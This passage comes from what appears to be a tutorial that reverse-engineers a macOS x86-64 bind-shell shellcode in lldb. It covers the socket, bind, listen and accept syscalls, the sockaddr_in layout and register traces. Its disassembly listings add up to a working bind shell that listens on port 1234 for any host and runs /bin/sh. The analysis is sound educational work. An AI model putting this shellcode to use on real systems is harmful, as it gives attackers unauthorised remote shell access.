<pre><code><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> AF_INET         2               <span class="hljs-comment">/* internetwork: UDP, TCP, etc. */</span></span>
</code></pre><p>So, <code>AF_INET</code> and <code>PF_INET</code> in this case behave in the same manner.</p>
<p>The author wants a TCP connection, so he decided to use <code>SOCK_STREAM</code>.</p>
<p>Also <code>SOCK_STREAM</code> is defined in socket.h:</p>
<pre><code><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> SOCK_STREAM     1               <span class="hljs-comment">/* stream socket */</span></span>
</code></pre><p>Finally, to leverage the IP protocol, the third parameter to the function has to be <code>IPPROTO_IP</code>. This is defined in the <a target="_blank" href="https://opensource.apple.com/source/xnu/xnu-7195.141.2/bsd/netinet/in.h.auto.html">in.h</a> header:</p>
<pre><code><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> IPPROTO_IP              0               <span class="hljs-comment">/* dummy for IP */</span></span>
</code></pre><p>To recap, the call should be invoked as:</p>
<pre><code><span class="hljs-attribute">socket</span>(<span class="hljs-number">2</span>,<span class="hljs-number">1</span>,<span class="hljs-number">0</span>)
</code></pre><p>so:</p>
<table>
    <tr>
        <th>Param. no.</th>
        <th>Register</th>
        <th>Required value</th>
    </tr>

    <tr>
        <td>1</td>
        <td><code>RDI</code></td>
        <td><code>AF_INET</code> = 2</td>
    </tr>

    <tr>
        <td>2</td>
        <td><code>RSI</code></td>
        <td><code>SOCK_STREAM</code> = 1 </td>
    </tr>

    <tr>
        <td>3</td>
        <td><code>RDX</code></td>
        <td><code>IPPROTO_IP</code> = 0</td>
    </tr>
</table>

<p>Taking a look at the last status of the registers, we see that the program is ready to invoke the <code>socket</code> syscall.</p>
<p>Let's review the contents of the registers before and after the syscall:</p>
<table>
    <tr>
        <th>Register</th>
        <th>Before</th>
        <th>After</th>
    </tr>

    <tr>
        <td><code>RAX</code></td>
        <td><code>0x0000000002000061</code></td>
        <td><code>0x0000000000000003</code></td>
    </tr>

    <tr>
        <td><code>RBX</code></td>
        <td><code>0x00000001000c0060</code></td>
        <td><code>0x00000001000c0060</code></td>
    </tr>

    <tr>
        <td><code>RCX</code></td>
        <td><code>0x00007ff7bfeffa80</code></td>
        <td><code>0x0000000100003f78</code></td>
    </tr>

    <tr>
        <td><code>RDX</code></td>
        <td><code>0x0000000000000000</code></td>
        <td><code>0x0000000000000000</code></td>
    </tr>

    <tr>
        <td><code>RDI</code></td>
        <td><code>0x0000000000000002</code></td>
        <td><code>0x0000000000000002</code></td>
    </tr>

    <tr>
        <td><code>RSI</code></td>
        <td><code>0x0000000000000001</code></td>
        <td><code>0x0000000000000001</code></td>
    </tr>

    <tr>
        <td><code>RBP</code></td>
        <td><code>0x0000000002000000</code></td>
        <td><code>0x0000000002000000</code></td>
    </tr>

    <tr>
        <td><code>RSP</code></td>
        <td><code>0x00007ff7bfeff870</code></td>
        <td><code>0x00007ff7bfeff870</code></td>
    </tr>

</table>

<p>We observe that the values of <code>RAX</code> and <code>RCX</code> have changed. In fact, <code>RAX</code> will contain the return value of <code>socket</code>, which is a file descriptor.</p>
<p>The part <strong>Socket</strong> finishes with the two <code>XCHG</code> instructions (<code>&lt;+27&gt;</code> and <code>&lt;+28&gt;</code>). The <code>XCHG</code> instruction exchanges the contents of a register with the contents of another register or the contents of memory locations. It cannot exchange the contents of two memory locations directly. </p>
<p>The effect of these two instructions are:</p>
<ul>
<li>With the first one, the values of <code>eax</code> and <code>edi</code> are swapped.</li>
<li>With the second one, the values of <code>eax</code> (former value of <code>edi</code>) and <code>ebx</code>  are swapped.</li>
</ul>
<p>Shortly, we have:</p>
<table>
    <tr>
        <th>Register</th>
        <th>Before</th>
        <th>After</th>
    </tr>

    <tr>
        <td><code>RAX</code></td>
        <td><code>0x0000000000000003</code></td>
        <td><code>0x00000000000c0060</code></td>
    </tr>

    <tr>
        <td><code>RBX</code></td>
        <td><code>0x00000001000c0060</code></td>
        <td><code>0x0000000000000002</code></td>
    </tr>

    <tr>
        <td><code>RDI</code></td>
        <td><code>0x0000000000000002</code></td>
        <td><code>0x0000000000000003</code></td>
    </tr>

</table>

<h2 id="heading-bind">Bind</h2>
<p>This part is quite complex.
The assembled code is not very different from the original - in fact, we have:</p>
<pre><code>    <span class="hljs-number">0x100003f7a</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">29</span><span class="hljs-operator">&gt;</span>: push   rbp
    <span class="hljs-number">0x100003f7b</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">30</span><span class="hljs-operator">&gt;</span>: pop    rax
    <span class="hljs-number">0x100003f7c</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">31</span><span class="hljs-operator">&gt;</span>: push   rsp
    <span class="hljs-number">0x100003f7d</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">32</span><span class="hljs-operator">&gt;</span>: pop    rsi
    <span class="hljs-number">0x100003f7e</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">33</span><span class="hljs-operator">&gt;</span>: mov    dl, <span class="hljs-number">0x10</span>
    <span class="hljs-number">0x100003f80</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">35</span><span class="hljs-operator">&gt;</span>: mov    al, <span class="hljs-number">0x68</span>
    <span class="hljs-number">0x100003f82</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">37</span><span class="hljs-operator">&gt;</span>: syscall
</code></pre><p>whilst the <code>push</code>es and the <code>pop</code>s look quite familiar the <code>mov</code> instructions deserve some analysis. </p>
<p>The effect of the first two instructions is copying the contents of <code>rbp</code> into <code>rax</code>; and the effect of the third and fourth instructions is copying the contents of <code>rsp</code> into <code>rsi</code>. We show the first two instructions. With the first instruction (<code>&lt;+29&gt;</code>), the stack base pointer is pushed to the stack, and with the next instruction, it is popped in the <code>RAX</code> register. It's worth remembering that before the code was executed, the contents of <code>RBP</code> was <code>0x0000000002000000</code>. </p>
<p>Before going any further, we observe that the code shall set the last 8 bits of <code>rax</code> (this is what <code>al</code> is) to <code>0x68</code>, or in decimal <code>104</code>. This is the number of syscall that will be called. A quick look in the <a target="_blank" href="https://opensource.apple.com/source/xnu/xnu-7195.141.2/bsd/kern/syscalls.master.auto.html">syscalls.master</a> file shows that this is the syscall:</p>
<pre><code><span class="hljs-number">104</span>    AUE_BIND    ALL    { <span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">bind</span><span class="hljs-params">(<span class="hljs-keyword">int</span> s, <span class="hljs-keyword">caddr_t</span> name, <span class="hljs-keyword">socklen_t</span> namelen)</span> NO_SYSCALL_STUB</span>; }
</code></pre><p>so we know we need to invoke <code>man 2 bind</code> from the terminal to get some more information on the API. In this case, we have:</p>
<pre><code><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;sys/socket.h&gt;</span></span>

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">bind</span><span class="hljs-params">(<span class="hljs-keyword">int</span> socket, <span class="hljs-keyword">const</span> struct sockaddr *address, <span class="hljs-keyword">socklen_t</span> address_len)</span></span>;
</code></pre><blockquote>
<p><code>bind()</code> assigns a name to an unnamed socket.  When a socket is created with socket(2) it exists in a name space (address family) but has no name assigned.  <code>bind()</code> requests that address be assigned to the socket.</p>
</blockquote>
<p>The second parameter to this call is of type <code>struct sockaddr</code> and the third is basically an integer containing the length of that structure. </p>
<p>We need to do some reverse engineering of the Apple XNU code, now.</p>
<p>The <code>struct sockaddr</code> is described in the file <a target="_blank" href="https://opensource.apple.com/source/xnu/xnu-7195.141.2/bsd/netinet/in.h.auto.html">in.h</a> we have:</p>
<pre><code><span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">sockaddr_in</span> {</span>
    <span class="hljs-keyword">__uint8_t</span>       sin_len;
    <span class="hljs-keyword">sa_family_t</span>     sin_family;
    <span class="hljs-keyword">in_port_t</span>       sin_port;
    <span class="hljs-class"><span class="hljs-keyword">struct</span>  <span class="hljs-title">in_addr</span> <span class="hljs-title">sin_addr</span>;</span>
    <span class="hljs-keyword">char</span>            sin_zero[<span class="hljs-number">8</span>];
};
</code></pre><p>In order to find the third parameter, we need to determine the sizes of all types. In the same file, we immediately find </p>
<pre><code><span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">in_addr</span> {</span>
    <span class="hljs-keyword">in_addr_t</span> s_addr;
};
</code></pre><p>so we need to give a size to the following types:</p>
<table>
    <tr>
        <th>Data type</th>
        <th>Defined in</th>
    </tr>
    <tr>
        <td><code>sa_family_t</code></td>
        <td><a target="_blank" href="https://opensource.apple.com/source/xnu/xnu-7195.141.2/bsd/sys/_types/_sa_family_t.h.auto.html">_sa_family_t.h</a></td>
    </tr>
    <tr>
        <td><code>in_port_t</code></td>
        <td><a target="_blank" href="https://opensource.apple.com/source/xnu/xnu-7195.141.2/bsd/sys/_types/_in_port_t.h.auto.html">_in_port_t.h</a></td>
    </tr>
    <tr>
        <td><code>in_addr</code></td>
        <td><a target="_blank" href="https://opensource.apple.com/source/xnu/xnu-7195.141.2/bsd/netinet/in.h.auto.html">in.h</a></td>
    </tr>
</table>

<p>To speed up things, we wrote a little program to find the sizes of the integer types:</p>
<pre><code><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;iostream&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;inttypes.h&gt;</span></span>

<span class="hljs-keyword">using</span> <span class="hljs-keyword">namespace</span> <span class="hljs-built_in">std</span>;

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span> <span class="hljs-params">()</span>
</span>{
  <span class="hljs-built_in">cout</span> &lt;&lt; <span class="hljs-string">"sizeof size_t type is: "</span> &lt;&lt; <span class="hljs-keyword">sizeof</span>(<span class="hljs-keyword">size_t</span>) &lt;&lt; <span class="hljs-string">" bytes\n"</span>;
  <span class="hljs-built_in">cout</span> &lt;&lt; <span class="hljs-string">"sizeof char type is: "</span> &lt;&lt; <span class="hljs-keyword">sizeof</span>(<span class="hljs-keyword">char</span>) &lt;&lt; <span class="hljs-string">" bytes\n"</span>;
  <span class="hljs-built_in">cout</span> &lt;&lt; <span class="hljs-string">"sizeof uint8_t type is: "</span> &lt;&lt; <span class="hljs-keyword">sizeof</span>(<span class="hljs-keyword">uint8_t</span>) &lt;&lt; <span class="hljs-string">" bytes\n"</span>;
  <span class="hljs-built_in">cout</span> &lt;&lt; <span class="hljs-string">"sizeof __uint8_t type is: "</span> &lt;&lt; <span class="hljs-keyword">sizeof</span>(<span class="hljs-keyword">__uint8_t</span>) &lt;&lt; <span class="hljs-string">" bytes\n"</span>;
  <span class="hljs-built_in">cout</span> &lt;&lt; <span class="hljs-string">"sizeof uint16_t type is: "</span> &lt;&lt; <span class="hljs-keyword">sizeof</span>(<span class="hljs-keyword">uint16_t</span>) &lt;&lt; <span class="hljs-string">" bytes\n"</span>;
  <span class="hljs-built_in">cout</span> &lt;&lt; <span class="hljs-string">"sizeof __uint16_t type is: "</span> &lt;&lt; <span class="hljs-keyword">sizeof</span>(<span class="hljs-keyword">__uint16_t</span>) &lt;&lt; <span class="hljs-string">" bytes\n"</span>;
  <span class="hljs-built_in">cout</span> &lt;&lt; <span class="hljs-string">"sizeof uint32_t type is: "</span> &lt;&lt; <span class="hljs-keyword">sizeof</span>(<span class="hljs-keyword">uint32_t</span>) &lt;&lt; <span class="hljs-string">" bytes\n"</span>;
  <span class="hljs-built_in">cout</span> &lt;&lt; <span class="hljs-string">"sizeof __uint32_t type is: "</span> &lt;&lt; <span class="hljs-keyword">sizeof</span>(<span class="hljs-keyword">__uint32_t</span>) &lt;&lt; <span class="hljs-string">" bytes\n"</span>;
  <span class="hljs-built_in">cout</span> &lt;&lt; <span class="hljs-string">"sizeof uint64_t type is: "</span> &lt;&lt; <span class="hljs-keyword">sizeof</span>(<span class="hljs-keyword">uint64_t</span>) &lt;&lt; <span class="hljs-string">" bytes\n"</span>;
  <span class="hljs-built_in">cout</span> &lt;&lt; <span class="hljs-string">"sizeof __uint64_t type is: "</span> &lt;&lt; <span class="hljs-keyword">sizeof</span>(<span class="hljs-keyword">__uint64_t</span>) &lt;&lt; <span class="hljs-string">" bytes\n"</span>;
  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre><p>running it gives us:</p>
<pre><code>sizeof size_t <span class="hljs-keyword">type</span> <span class="hljs-keyword">is</span>: <span class="hljs-number">8</span> <span class="hljs-keyword">bytes</span>
sizeof char <span class="hljs-keyword">type</span> <span class="hljs-keyword">is</span>: <span class="hljs-number">1</span> <span class="hljs-keyword">bytes</span>
sizeof uint8_t <span class="hljs-keyword">type</span> <span class="hljs-keyword">is</span>: <span class="hljs-number">1</span> <span class="hljs-keyword">bytes</span>
sizeof __uint8_t <span class="hljs-keyword">type</span> <span class="hljs-keyword">is</span>: <span class="hljs-number">1</span> <span class="hljs-keyword">bytes</span>
sizeof uint16_t <span class="hljs-keyword">type</span> <span class="hljs-keyword">is</span>: <span class="hljs-number">2</span> <span class="hljs-keyword">bytes</span>
sizeof __uint16_t <span class="hljs-keyword">type</span> <span class="hljs-keyword">is</span>: <span class="hljs-number">2</span> <span class="hljs-keyword">bytes</span>
sizeof uint32_t <span class="hljs-keyword">type</span> <span class="hljs-keyword">is</span>: <span class="hljs-number">4</span> <span class="hljs-keyword">bytes</span>
sizeof __uint32_t <span class="hljs-keyword">type</span> <span class="hljs-keyword">is</span>: <span class="hljs-number">4</span> <span class="hljs-keyword">bytes</span>
sizeof uint64_t <span class="hljs-keyword">type</span> <span class="hljs-keyword">is</span>: <span class="hljs-number">8</span> <span class="hljs-keyword">bytes</span>
sizeof __uint64_t <span class="hljs-keyword">type</span> <span class="hljs-keyword">is</span>: <span class="hljs-number">8</span> <span class="hljs-keyword">bytes</span>
</code></pre><p>So, let's enrich the previous table:</p>
<table>
    <tr>
        <th>Data type</th>
        <th>Defined in</th>
        <th>Aliases</th>
        <th>Size</th>
    </tr>

    <tr>
        <td><code>char</code></td>
        <td>n/a</td>
        <td>n/a</td>
        <td>1 byte</td>
    </tr>
    <tr>
        <td><code>uint8_t</code></td>
        <td>n/a</td>
        <td><code>unsigned char</code></td>
        <td>1 byte</td>
    </tr>
    <tr>
        <td><code>sa_family_t</code></td>
        <td><a target="_blank" href="https://opensource.apple.com/source/xnu/xnu-7195.141.2/bsd/sys/_types/_sa_family_t.h.auto.html">_sa_family_t.h</a></td>
        <td><code>__uint8_t</code></td>
        <td>1 byte</td>
    </tr>
    <tr>
        <td><code>in_port_t</code></td>
        <td><a target="_blank" href="https://opensource.apple.com/source/xnu/xnu-7195.141.2/bsd/sys/_types/_in_port_t.h.auto.html">_in_port_t.h</a></td>
        <td><code>__uint16_t</code></td>
        <td>2 bytes</td>
    </tr>
    <tr>
        <td><code>in_addr</code></td>
        <td><a target="_blank" href="https://opensource.apple.com/source/xnu/xnu-7195.141.2/bsd/netinet/in.h.auto.html">in.h</a></td>
        <td><code>in_addr_t</code></td>
        <td>n/a</td>
    </tr>
    <tr>
        <td><code>in_addr_t</code></td>
        <td><a target="_blank" href="https://opensource.apple.com/source/xnu/xnu-7195.141.2/bsd/sys/_types/_in_addr_t.h.auto.html">_in_addr_t.h</a></td>
        <td><code>__uint32_t</code></td>
        <td>4 bytes</td>
    </tr>
</table>

<p>To fix the ideas, the struct sockaddr_in has the following sizes</p>
<pre><code><span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">sockaddr_in</span> {</span>
    <span class="hljs-keyword">__uint8_t</span>       sin_len;            <span class="hljs-comment">//1 byte</span>
    <span class="hljs-keyword">sa_family_t</span>     sin_family;         <span class="hljs-comment">//1 byte</span>
    <span class="hljs-keyword">in_port_t</span>       sin_port;           <span class="hljs-comment">//2 bytes</span>
    <span class="hljs-class"><span class="hljs-keyword">struct</span>  <span class="hljs-title">in_addr</span> <span class="hljs-title">sin_addr</span>;</span>           <span class="hljs-comment">//4 bytes</span>
    <span class="hljs-keyword">char</span>            sin_zero[<span class="hljs-number">8</span>];        <span class="hljs-comment">//8 bytes</span>
};
</code></pre><p>In short, this structure is 16 bytes long. We can represent it graphically as follows:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1650376946752/FVNs-eY63.png" alt="memory layout.png" /></p>
<p>At the very moment, the situation is as follows:</p>
<table>
    <tr>
        <th>Param. no.</th>
        <th>Register</th>
        <th>Value</th>
    </tr>

    <tr>
        <td>1</td>
        <td><code>RDI</code></td>
        <td><code>0x0000000000000003</code></td>
    </tr>

    <tr>
        <td>2</td>
        <td><code>RSI</code></td>
        <td><code>0x00007ff7bfeff870</code></td>
    </tr>

    <tr>
        <td>3</td>
        <td><code>RDX</code></td>
        <td><code>0x0000000000000000</code></td>
    </tr>
</table>

<p>Let's go back to the code. The effect of the instruction <code>&lt;+33&gt;</code> is to load <code>0x10</code> = 16 to the last 8 bits of <code>rdx</code>, thus setting the third parameter (the size) to the <code>bind()</code> call. </p>
<p>In a similar way, the instruction <code>&lt;+35&gt;</code> prepares the syscall by finalising its number.</p>
<p>In short, we have:</p>
<pre><code>     <span class="hljs-attribute">rdi</span> = <span class="hljs-number">0</span>x<span class="hljs-number">0000000000000003</span>
     <span class="hljs-attribute">rsi</span> = <span class="hljs-number">0</span>x<span class="hljs-number">00007</span>ff<span class="hljs-number">7</span>bfeff<span class="hljs-number">870</span>
     <span class="hljs-attribute">rdx</span> = <span class="hljs-number">0</span>x<span class="hljs-number">0000000000000010</span>
     <span class="hljs-attribute">rax</span> = <span class="hljs-number">0</span>x<span class="hljs-number">0000000002000068</span>
</code></pre><p>Now it's interesting to see the values of the structure. Let's read 16 bytes of the stack, starting from <code>rsi</code>:</p>
<pre><code><span class="hljs-string">(lldb)</span> <span class="hljs-string">register</span> <span class="hljs-string">read</span> <span class="hljs-string">rsi</span>
     <span class="hljs-string">rsi</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00007ff7bfeff870</span>
<span class="hljs-string">(lldb)</span> <span class="hljs-string">memory</span> <span class="hljs-string">read</span> <span class="hljs-string">$rsi-0x10</span> <span class="hljs-string">$rsi+0x10</span>
<span class="hljs-attr">0x7ff7bfeff860:</span> <span class="hljs-number">14</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">70</span> <span class="hljs-string">f8</span> <span class="hljs-string">ef</span> <span class="hljs-string">bf</span> <span class="hljs-string">f7</span> <span class="hljs-string">7f</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">........p.......</span>
<span class="hljs-attr">0x7ff7bfeff870:</span> <span class="hljs-number">00</span> <span class="hljs-number">02</span> <span class="hljs-number">04</span> <span class="hljs-string">d2</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-string">1e</span> <span class="hljs-string">d5</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">................</span>
</code></pre><p>Now, using the graphical schema that we have shown before will help visualising memory allocation:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1650380708188/nbGriRetU.png" alt="memory 2.png" /></p>
<p><code>00 00 00 00</code> is a constant defined in in.h (the symbolic name is <code>INADDR_ANY</code>) and represents any possible internet address - in other words, the shellcode will accept incoming connections from any host.</p>
<p>This closes the analysis of bind. Phew!</p>
<h2 id="heading-listen">Listen</h2>
<p>The disassembled code for this chunk doesn't differ from the original:</p>
<pre><code>    <span class="hljs-number">0x100003f84</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">39</span><span class="hljs-operator">&gt;</span>: push   rax
    <span class="hljs-number">0x100003f85</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">40</span><span class="hljs-operator">&gt;</span>: pop    rsi
    <span class="hljs-number">0x100003f86</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">41</span><span class="hljs-operator">&gt;</span>: push   rbp
    <span class="hljs-number">0x100003f87</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">42</span><span class="hljs-operator">&gt;</span>: pop    rax
    <span class="hljs-number">0x100003f88</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">43</span><span class="hljs-operator">&gt;</span>: mov    al, <span class="hljs-number">0x6a</span>
    <span class="hljs-number">0x100003f8a</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">45</span><span class="hljs-operator">&gt;</span>: syscall
</code></pre><p>Here the syscall has number 106, which is defined in the syscalls.master file as follows:</p>
<pre><code><span class="hljs-number">106</span>    AUE_LISTEN    <span class="hljs-keyword">ALL</span>    { <span class="hljs-type">int</span> <span class="hljs-keyword">listen</span>(<span class="hljs-type">int</span> s, <span class="hljs-type">int</span> backlog) NO_SYSCALL_STUB; }
</code></pre><p>so, we follow the methodology that we adopted before - it should be clear by now that the first thing to do is launching <code>man 2 listen</code> and analysing the result. In this case, the API is defined as follows:</p>
<pre><code><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;sys/socket.h&gt;</span></span>

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">listen</span><span class="hljs-params">(<span class="hljs-keyword">int</span> socket, <span class="hljs-keyword">int</span> backlog)</span></span>;
</code></pre><blockquote>
<p>Creation of socket-based connections requires several operations.  First, a socket is created with socket(2).  Next, a willingness to incoming connections and a queue limit for incoming connections are specified with listen().  Finally, the connections are accepted with accept(2). The listen() call applies only to sockets of type SOCK_STREAM.</p>
<p>The backlog parameter defines the maximum length for the queue of pending connections.  If a connection request arrives with the queue full, the client may receive an error with an indication of ECONNREFUSED.  Alternatively, if the underlying protocol supports retransmission, the request may be ignored so that retries may succeed.</p>
</blockquote>
<p>In this case, we are happy with no backlog management, so we will pass a zero (NULL) value. </p>
<p>The instructions <code>&lt;+39&gt;</code> to <code>&lt;+42&gt;</code> set the contents of <code>RSI</code> to those of <code>RAX</code>, and the contents of <code>RAX</code> to those of <code>RBP</code>:</p>
<table>
    <tr>
        <th>Register</th>
        <th>Before</th>
        <th>After</th>
    </tr>

    <tr>
        <td><code>RAX</code></td>
        <td><code>0x0000000000000000</code></td>
        <td><code>0x0000000002000000</code></td>
    </tr>

    <tr>
        <td><code>RBP</code></td>
        <td><code>0x0000000002000000</code></td>
        <td><code>0x0000000002000000</code></td>
    </tr>

    <tr>
        <td><code>RSI</code></td>
        <td><code>0x00007ff7bfeff870</code></td>
        <td><code>0x0000000000000000</code></td>
    </tr>

</table>

<p>The final effect is zeroing <code>RSI</code> (which is fine, because <code>RSI</code> is what is used to pass the second arguments to functions) and preparing <code>RAX</code> for the syscall. The first argument to the function is passed through the register <code>RDI</code> that has been set before and not changed yet. </p>
<pre><code>(lldb) register <span class="hljs-keyword">read</span> rdi
     rdi = <span class="hljs-number">0x0000000000000003</span>
</code></pre><p>So, the effect of the instruction <code>&lt;+43&gt;</code> is to set the lowest byte of <code>rax</code> to 106 and prepare for the syscall which is in <code>&lt;+45&gt;</code>.</p>
<h2 id="heading-accepting-incoming-connections">Accepting incoming connections</h2>
<p>I must admit I have been a little puzzled by the remaining part of the disassembled code. Before commenting, let's take a look at what we have:</p>
<pre><code><span class="hljs-attribute">bindshell</span>[<span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">8</span>c] &lt;+<span class="hljs-number">47</span>&gt;: push   rbp
<span class="hljs-attribute">bindshell</span>[<span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">8</span>d] &lt;+<span class="hljs-number">48</span>&gt;: pop    rax
<span class="hljs-attribute">bindshell</span>[<span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">8</span>e] &lt;+<span class="hljs-number">49</span>&gt;: mov    al, <span class="hljs-number">0</span>x<span class="hljs-number">1</span>e
<span class="hljs-attribute">bindshell</span>[<span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">90</span>] &lt;+<span class="hljs-number">51</span>&gt;: cdq    
<span class="hljs-attribute">bindshell</span>[<span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">91</span>] &lt;+<span class="hljs-number">52</span>&gt;: syscall 
<span class="hljs-attribute">bindshell</span>[<span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">93</span>] &lt;+<span class="hljs-number">54</span>&gt;: xchg   eax, edi
<span class="hljs-attribute">bindshell</span>[<span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">94</span>] &lt;+<span class="hljs-number">55</span>&gt;: push   rbx
<span class="hljs-attribute">bindshell</span>[<span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">95</span>] &lt;+<span class="hljs-number">56</span>&gt;: pop    rsi
</code></pre><p>There is only ONE syscall invocation, and there are no jump instructions, hence no loop. </p>
<p>The effect of the instructions <code>&lt;+47&gt;</code>...<code>&lt;+49&gt;</code> is preparing the syscall. The syscall number is <code>0x1e</code>, or in decimal 30. </p>
<p>The reason for this is my shallowness when analysing. I disassembled the <code>main</code> subroutine, but as a matter of fact, the loop takes place in a labeled environment, which is another subroutine. In fact, if I execute:</p>
<pre><code>(lldb) disassemble <span class="hljs-operator">-</span>n dup_loop64
bindshell`dup_loop64:
bindshell[<span class="hljs-number">0x100003f96</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">0</span><span class="hljs-operator">&gt;</span>:  push   rbp
bindshell[<span class="hljs-number">0x100003f97</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">1</span><span class="hljs-operator">&gt;</span>:  pop    rax
bindshell[<span class="hljs-number">0x100003f98</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">2</span><span class="hljs-operator">&gt;</span>:  mov    al, <span class="hljs-number">0x5a</span>
bindshell[<span class="hljs-number">0x100003f9a</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">4</span><span class="hljs-operator">&gt;</span>:  syscall 
bindshell[<span class="hljs-number">0x100003f9c</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">6</span><span class="hljs-operator">&gt;</span>:  sub    esi, <span class="hljs-number">0x1</span>
bindshell[<span class="hljs-number">0x100003f9f</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">9</span><span class="hljs-operator">&gt;</span>:  jns    <span class="hljs-number">0x100003f96</span>               ; <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">0</span><span class="hljs-operator">&gt;</span>
bindshell[<span class="hljs-number">0x100003fa1</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">11</span><span class="hljs-operator">&gt;</span>: xor    esi, esi
bindshell[<span class="hljs-number">0x100003fa3</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">13</span><span class="hljs-operator">&gt;</span>: cdq    
bindshell[<span class="hljs-number">0x100003fa4</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">14</span><span class="hljs-operator">&gt;</span>: movabs rbx, <span class="hljs-number">0x68732f2f6e69622f</span>
bindshell[<span class="hljs-number">0x100003fae</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">24</span><span class="hljs-operator">&gt;</span>: push   rdx
bindshell[<span class="hljs-number">0x100003faf</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">25</span><span class="hljs-operator">&gt;</span>: push   rbx
bindshell[<span class="hljs-number">0x100003fb0</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">26</span><span class="hljs-operator">&gt;</span>: push   rsp
bindshell[<span class="hljs-number">0x100003fb1</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">27</span><span class="hljs-operator">&gt;</span>: pop    rdi
bindshell[<span class="hljs-number">0x100003fb2</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">28</span><span class="hljs-operator">&gt;</span>: push   rbp
bindshell[<span class="hljs-number">0x100003fb3</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">29</span><span class="hljs-operator">&gt;</span>: pop    rax
bindshell[<span class="hljs-number">0x100003fb4</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">30</span><span class="hljs-operator">&gt;</span>: mov    al, <span class="hljs-number">0x3b</span>
bindshell[<span class="hljs-number">0x100003fb6</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">32</span><span class="hljs-operator">&gt;</span>: syscall
</code></pre><p>I obtain the missing part of the code.</p>
